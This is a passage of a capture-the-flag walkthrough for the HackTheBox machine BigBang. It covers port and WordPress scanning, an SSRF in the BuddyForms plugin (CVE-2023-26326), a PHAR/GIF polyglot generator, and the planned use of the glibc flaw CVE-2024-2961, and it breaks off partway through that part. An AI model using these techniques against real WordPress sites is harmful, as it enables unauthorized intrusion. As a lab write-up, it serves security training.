BigBang

BigBang has a WordPress site with the BuddyForms plugin. I’ll find a 2023 CVE that involves uploading a PHAR / GIF polyglot. It doesn’t work, but it does show how to read GIFs, which I’ll turn to the local system. Then using a PHP-filter-based tool I’ll abuse this to read arbitrary files. I’ll use that to exploit a 2024 CVE in Glibc to get RCE. I’ll find WordPress config creds to pivot to the next user. The next user has access to a Grafana instance. I’ll get their hash from the DB and crack it to escalate again. This user has access to an Android APK. I’ll reverse it to understand the API and get an auth token, and find command injection to get execution as root.

Box Info

Name BigBang BigBang
Play on HackTheBox
Release Date 25 Jan 2025
Retire Date 03 May 2025
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for BigBang
Radar Graph Radar chart for BigBang
First Blood User 04:14:41jkr
First Blood Root 06:16:11snowscan
Creators ruycr4ft
lavclash75

Recon

nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 21:42 EST
Nmap scan report for 10.10.11.52
Host is up (0.086s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 21:43 EST
Nmap scan report for 10.10.11.52
Host is up (0.085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds

Looking at the package versions, the OpenSSH version suggests Ubuntu 22.04 jammy, but the Apache version implies Debian bullsee or bookworm. Worth a guess that at least one of these is a container.

The website is redirecting to blog.bigbang.htb. Running ffuf to look for other subdomains returns only blog, so I’ll add that and the base domain to my /etc/hosts file:

10.10.11.52 bigbang.htb blog.bigbang.htb

blog.bigbang.htb - TCP 80

Site

Visiting the IP or bigbang.htb just redirects to blog.bigbang.htb, which is a site for a “physics university”:

image-20250129215450862 expand

There is a form to submit comments, but it POSTs data to / in a way that makes it look not implemented. None of the other links go anywhere.

Tech Stack

The page footer claims a WordPress site:

image-20250130070753152

The form claims to be generated by a WordPress plugin, BuddyForms:

image-20250130070937317

The HTTP response headers for the GET request for / show Apache and PHP:

HTTP/1.1 200 OK
Date: Thu, 30 Jan 2025 02:54:38 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.2
Link: <http://blog.bigbang.htb/index.php?rest_route=/>; rel="https://api.w.org/"
Vary: Accept-Encoding
Content-Length: 217392
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

There’s also an unusual Link header. The format of this header is defined here. The 404 page is the default Apache 404:

image-20250130071416774

WPScan

I’ll skip directory brute force and run wpscan against the site. I’ve signed up for a free researcher account and have my token stored in ~/.wpscan/scan.yml.

oxdf@hacky$ wpscan --url http://blog.bigbang.htb -e ap,u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Thu Jan 30 07:31:07 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2025-01-30T02:58:00.000Z
 | [!] The version is out of date, the latest version is 2.8.15
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 11 vulnerabilities identified:
 |
 | [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
 |     Fixed in: 2.7.8
 |     References:
 |      - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 2.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
 |     Fixed in: 2.8.2
 |     References:
 |      - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
 |
 | [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
 |     Fixed in: 2.8.6
 |     References:
 |      - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
 |
 | [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
 |     Fixed in: 2.8.9
 |     References:
 |      - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
 |
 | [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
 |     Fixed in: 2.8.10
 |     References:
 |      - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
 |     Fixed in: 2.8.12
 |     References:
 |      - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
 |
 | [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
 |     Fixed in: 2.8.13
 |     References:
 |      - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] root
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] shawking
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 22

[+] Finished: Thu Jan 30 07:31:34 2025
[+] Requests Done: 19
[+] Cached Requests: 48
[+] Data Sent: 5.054 KB
[+] Data Received: 30.516 KB
[+] Memory used: 257.746 MB
[+] Elapsed time: 00:00:27

There’s a lot there. The WordPress version seems to have three identified vulnerabilities at this time:

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)                                                                         
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>                        
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>               
 |                        
 | [!] 3 vulnerabilities identified:                                                                                   
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

I’ll hold off on the two XSS for now. The path traversal is authenticated and only on Windows.

There are two usernames identified:

[i] User(s) Identified:

[+] root
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] shawking
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Under plugins, BuddyForms version 2.7.7 is identified, with a bunch of vulnerabilities:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2025-01-30T02:58:00.000Z
 | [!] The version is out of date, the latest version is 2.8.15
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 11 vulnerabilities identified:
 |
 | [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
 |     Fixed in: 2.7.8
 |     References:
 |      - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 2.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
 |     Fixed in: 2.8.2
 |     References:
 |      - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
 |
 | [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
 |     Fixed in: 2.8.6
 |     References:
 |      - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
 |
 | [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
 |     Fixed in: 2.8.9
 |     References:
 |      - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
 |
 | [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
 |     Fixed in: 2.8.10
 |     References:
 |      - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
 |     Fixed in: 2.8.12
 |     References:
 |      - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
 |
 | [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
 |     Fixed in: 2.8.13
 |     References:
 |      - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

There are a bunch of vulnerabilities in this plugin. The top one is most interesting, as it’s a PHAR vulnerability which likely means RCE.

Shell as www-data in container

Preview

This exploit involves using pieces from one vulnerability to enable another, and it is a bit complicated, so I’m going to show how it all fits together at the start of this section. I’ll still walk through each bit showing how to find things, but this summary will help make it clear where the path is leading. I’ll blur this section to not spoil for anyone working alongside this post.

flowchart TD;
    CVE1[CVE-2023-26326]
    CVE2[CVE-2024-2961]

    CVE1 --> UPLOAD(Upload GIF);
    
    UPLOAD --> PHAR(PHAR);
    UPLOAD --> SSRF(SSRF);
    UPLOAD --wrapwrap--> READ(File Read);
    
    PHAR --x RCE(RCE);

    READ --> BOF(Glibc Buffer Overflow);

    CVE2 --> BOF;
    BOF --> RCE;
linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;

CVE-2023-26326 is discussed as an RCE vulnerability via PHAR uploads, but the PHAR part won’t work on modern PHP. But the mechanism for uploading a remote file is an SSRF, and can be leveraged into local file read. Once I have local file read, I can exploit CVE-2024-2961, a buffer overflow in GLIBC where I need to be able to read files from the box in order to build a payload.

Failed Upload / PHAR RCE

CVE-2023-26326 Background

CVE-2023-26326 is described as:

The BuddyForms WordPress plugin, in versions prior to 2.7.8, was affected by an unauthenticated insecure deserialization issue. An unauthenticated attacker could leverage this issue to call files using a PHAR wrapper that will deserialize the data and call arbitrary PHP Objects that can be used to perform a variety of malicious actions granted a POP chain is also present.

There’s a way to get a serialized PHAR object onto the server and then reference it. This post from Tenable TechBlog goes into much more detail. They summary the attack path in three steps:

  1. Create a malicious phar file by making it look like an image.
  2. Send the malicious phar file on the server
  3. Call the file with the ‘phar://’ wrapper.

This exploit is using a PHAR file, which is a very flexible format allowing for many polyglots other formats. In Resource, Zipping, and UpDown, I showed how to upload Zip archives and access files within them using the phar:// wrapper.

Unfortunately for me, the same strategy won’t work to get full RCE here, but it will provide some pieces that I can use.

SSRF / File Upload

The POC in the post shows making a POST request to /wp-admin/admin-ajax.php passing a url. I’ll send a request to Burp Repeater and replace most of it with what’s in the POC image:

image-20250130142435497

If I send this without having an example.gif hosted on my Python webserver (or without the webserver running, which adds delay as the application tries to connect), it returns showing that the file type is not allowed:

image-20250130142616251

That’s because an empty file / 404 page doesn’t match the magic bytes of the expected GIF file. There is a request to my webserver, so that is an SSRF:

10.10.11.52 - - [30/Jan/2025 14:25:45] code 404, message File not found
10.10.11.52 - - [30/Jan/2025 14:25:45] "GET /example.gif HTTP/1.1" 404 -

If I grab a valid GIF image and host it, then the response shows that it uploads:

image-20250130142841659

It does seem to renamed the image into a PNG. I can find the image at the given path (along with another previous upload, 1.png):

image-20250130144308215

The image is not reformatted, but still a raw GIF (despite the new extension):

oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-1.png -o- -s | xxd
00000000: 4749 4638 3961 1300 1300 8001 0000 0000  GIF89a..........
00000010: eeee ee21 f904 0100 0001 002c 0000 0000  ...!.......,....
00000020: 1300 1300 0002 158c 8fa9 cbed 0fa3 9cb4  ................
00000030: 2e80 2906 3adb 0f86 e248 4205 003b       ..).:....HB..;

Image Type Bypass

In the POC post, the author talks about having a plugin installed that has an Evil class, their deserialization payload uses the function in Evil to get RCE. This approach isn’t super realistic, and is assuming that there will be another set of gadgets I can find. I can try that payload to see if it might work. I’ll create evil.php from the post:

<?php

class Evil{
  public function __wakeup() : void {
    die("Arbitrary Deserialization");
  }
}


//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();

And run it:

oxdf@hacky$ php --define phar.readonly=0 evil.php                                    
oxdf@hacky$ file evil.phar                                                           
evil.phar: GIF image data, version 89a, 15370 x 28735    

The resulting file is a GIF image by MIME type, but it’s also got the serialized PHP payload:

oxdf@hacky$ xxd evil.phar 
00000000: 4749 4638 3961 0a3c 3f70 6870 205f 5f48  GIF89a.<?php __H
00000010: 414c 545f 434f 4d50 494c 4552 2829 3b20  ALT_COMPILER(); 
00000020: 3f3e 0d0a 4500 0000 0100 0000 1100 0000  ?>..E...........
00000030: 0100 0000 0000 0f00 0000 4f3a 343a 2245  ..........O:4:"E
00000040: 7669 6c22 3a30 3a7b 7d08 0000 0074 6573  vil":0:{}....tes
00000050: 742e 7478 7404 0000 0000 0000 0004 0000  t.txt...........
00000060: 00c7 a78b 3bb4 0100 0000 0000 0074 6578  ....;........tex
00000070: 7407 3922 d43a e276 a40f 032d dc71 9a28  t.9".:.v...-.q.(
00000080: e590 89d3 1654 ab2a dadf 331d 362a 9dd4  .....T.*..3.6*..
00000090: 5b03 0000 0047 424d 42                   [....GBMB

If I request evil.phar using the same upload as above, it works:

image-20250130143407089

It is saving it as a PNG file, but the trick from here is to use the phar:// filter to load it as PHP (without the extension mattering) and go from there.

Failure to Weaponize

Typically to weaponize a deserialization attack against PHP, I would use phpggc to make a gadget from a framework installed on the target. It doesn’t have any WordPress gadgets for version 6.5.4:

oxdf@hacky$ ./phpggc -l wordpress

Gadget Chains
-------------

NAME                                      VERSION                         TYPE                  VECTOR        I    
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2             RCE: Function Call    __destruct    *    
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2     RCE: Function Call    __destruct    *    
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE: Function Call    __toString    *    
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE: Function Call    __destruct    *    
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2      RCE: Function Call    __destruct    *    
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2      RCE: Function Call    __destruct    *    
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2    RCE: Function Call    __destruct    *    
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2           RCE: Function Call    __destruct    *    
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2         RCE: Function Call    __destruct    *    
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2             RCE: Function Call    __toString    *    
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2           RCE: Function Call    __toString    *    
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2             RCE: Function Call    __destruct    *    
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2           RCE: Function Call    __destruct    *    
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2             RCE: Function Call    __destruct    *    
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2           RCE: Function Call    __destruct    *    
WordPress/RCE1                            <= 6.3.1                        RCE: Function Call    __toString    *    
WordPress/RCE2                            6.4.0 <= 6.4.1                  RCE: Function Call    __destruct 

Even if it did, I think there were changes in PHP8 that would block these kinds of attacks anyway. A post I’ll come to in the next section says:

the target runs on PHP 8+, so it is not vulnerable to PHAR attacks.

I think it’s talking about this proposal, “PHP RFC: Don’t automatically unserialize Phar metadata outside getMetadata()”, which includes:

Any side effects from __wakeup(), __destruct(), etc. that were triggered during/after unserialization of metadata when the phar is loaded will stop happening, and will only happen when getMetadata() is directly called.

That is an end to this line of attack.

glibc Buffer Overflow

CVE-2024-2961

This post from Ambionics Security goes into a ton of detail about how a researcher found a 24 year old buffer overflow in the iconv API in glibc by fuzzing PHP filters. The bug was impossible to actually exploit, except via PHP! The post goes into a ton of detail, but ends with an example using it with CVE-2023-26326 in BuddyForms v2.7.7:

image-20250130152908052

That’s basically the exact same setup as BigBang (even with the same image on the website).

The vulnerability can be triggered by sending a series of PHP filters, but to calculate the data necessary for remote code execution, it must know potions of memory available in /proc/self/maps. There is a POC skeleton that can be updated to reflect how to upload files and then access them, and then it will perform the rest of the exploit.

Read GIF with file://

To make this work, I need to be able to read files. I have CVE-2023-26326 which allows me to give WordPress a URL, and if it is a GIF, it copies that to the WordPress uploads folder.

I want to find a .gif file in the BigBang container to see if I can read it. It’s easy enough to spin up a Docker container from the php family. Since WordPress runs on Apache, there’s a container of the name/tag php:<version>-apache. I’ll run docker run -d php:8.3.2-apache, and then get a shell in it:

oxdf@hacky$ docker run -d php:8.3.2-apache 
Unable to find image 'php:8.3.2-apache' locally
8.3.2-apache: Pulling from library/php
e1caac4eb9d2: Pull complete 
8c386db9cb1d: Pull complete 
bef1b237c949: Pull complete 
56c66cb68b0f: Pull complete 
9c790c1c009d: Pull complete 
e055748d0b38: Pull complete 
5a9d72b3b895: Pull complete 
8093e006a474: Pull complete 
fc2821a08332: Pull complete 
5d4588c42fab: Pull complete 
ffdf939f094e: Pull complete 
6438981ec14c: Pull complete 
5c3a90424fc9: Pull complete 
Digest: sha256:4c52430c0aa88478df7ed7112970824d67fbeffae9b12ea0d8729ef1bb41b44e
Status: Downloaded newer image for php:8.3.2-apache
